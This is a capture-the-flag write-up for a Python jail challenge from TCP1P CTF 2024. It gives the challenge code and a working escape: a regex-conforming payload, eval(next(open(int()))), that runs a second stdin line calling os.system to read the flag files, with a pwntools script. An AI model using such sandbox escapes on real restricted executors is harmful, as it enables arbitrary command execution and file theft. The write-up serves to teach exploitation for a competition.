ctf-writeups

TCP1P CTF 2024 functional

#!/usr/bin/env python3
import regex
import glob
import sys

exception_groups = (Warning, SystemExit, ConnectionResetError, ConnectionAbortedError, ConnectionRefusedError, KeyboardInterrupt, ConnectionError, ResourceWarning, TypeError, BytesWarning, OverflowError, TabError, InterruptedError, RuntimeError, TimeoutError, FileNotFoundError, UserWarning, GeneratorExit, PermissionError, KeyError, AssertionError, UnicodeDecodeError, IsADirectoryError, ZeroDivisionError, FileExistsError, BlockingIOError, SystemError, OSError, EOFError, EncodingWarning, StopIteration, UnicodeWarning, ImportWarning, SyntaxWarning, LookupError, AttributeError, ImportError, ArithmeticError, EnvironmentError, ChildProcessError, UnicodeTranslateError, UnicodeEncodeError, RecursionError, StopAsyncIteration, RuntimeWarning, IndentationError, ValueError, ModuleNotFoundError, DeprecationWarning, BufferError, FutureWarning, ReferenceError, MemoryError, UnicodeError, PendingDeprecationWarning, NotADirectoryError, IOError, FloatingPointError, ProcessLookupError, NameError, NotImplementedError, UnboundLocalError, BrokenPipeError, IndexError)
secret_of_trades = glob.glob('flags/*')

re_pattern = regex.compile(r'[ad-z]+\(((?R)|)\)')
user_input = input('>>> ')

sys.stderr = sys.stdout
sys.stdout = None
sys.stdin = None

if re_pattern.fullmatch(user_input):
    try:
        exec(user_input)
    except exception_groups as e:
        pass

The regex r'[ad-z]+\(((?R)|)\)' matches:

  1. A function name matching [ad-z]+
  2. Calling the function with no arguments, the argument matches the regex r'[ad-z]+\(((?R)|)\)' itself

Therefore, the requirements are: Call functions with zero argument, or return value of another function, and all function names should match [ad-z]+.

Print all the builtin functions that are allowed:

import regex
re_pattern = regex.compile(r'[ad-z]+')
print([x for x in __builtins__.__dict__ if re_pattern.fullmatch(x)])
# prints ['all', 'any', 'delattr', 'dir', 'divmod', 'eval', 'format', 'getattr', 'hasattr', 'hash', 'hex', 'id', 'input', 'iter', 'aiter', 'len', 'max', 'min', 'next', 'anext', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'memoryview', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'range', 'reversed', 'set', 'str', 'super', 'tuple', 'type', 'zip', 'open', 'quit', 'exit', 'help']

Therefore, we need to use these functions to attack. Inspired by @hmmm’s writeup on Discord:

eval(next(open(int())))
exec('import sys,os;sys.stdout=open(1,"w");os.system("cat flags/*")')

The attack steps:

  1. open(int()) opens fd 0, which is stdin
  2. next(...) reads one line from stdin
  3. eval(...) evals the line

Then, we can freely send code to run. Initially, I tried os.system("sh"), but it fails due to eval(next(open(int()))) opening fd 0 and closing it when the file object freed. In addition, os.system is not affected by the chage of sys.std{in,out,err}: in fact, the changes to them does not affect the underlying fd, but only affects python code that use them for I/O. And we can replace import sys with __import__('sys') for it to become an expression to work in eval directly.

So the attack script can be simplified:

from pwn import *

context(log_level="debug")

p = process(["python3", "functional.py"])
p.recvuntil(b">>> ")
p.sendline("eval(next(open(int())))".encode())
p.sendline("__import__('os').system('cat flags/*')".encode())
p.interactive()

Alternatively, we can use reverse shell to get shell.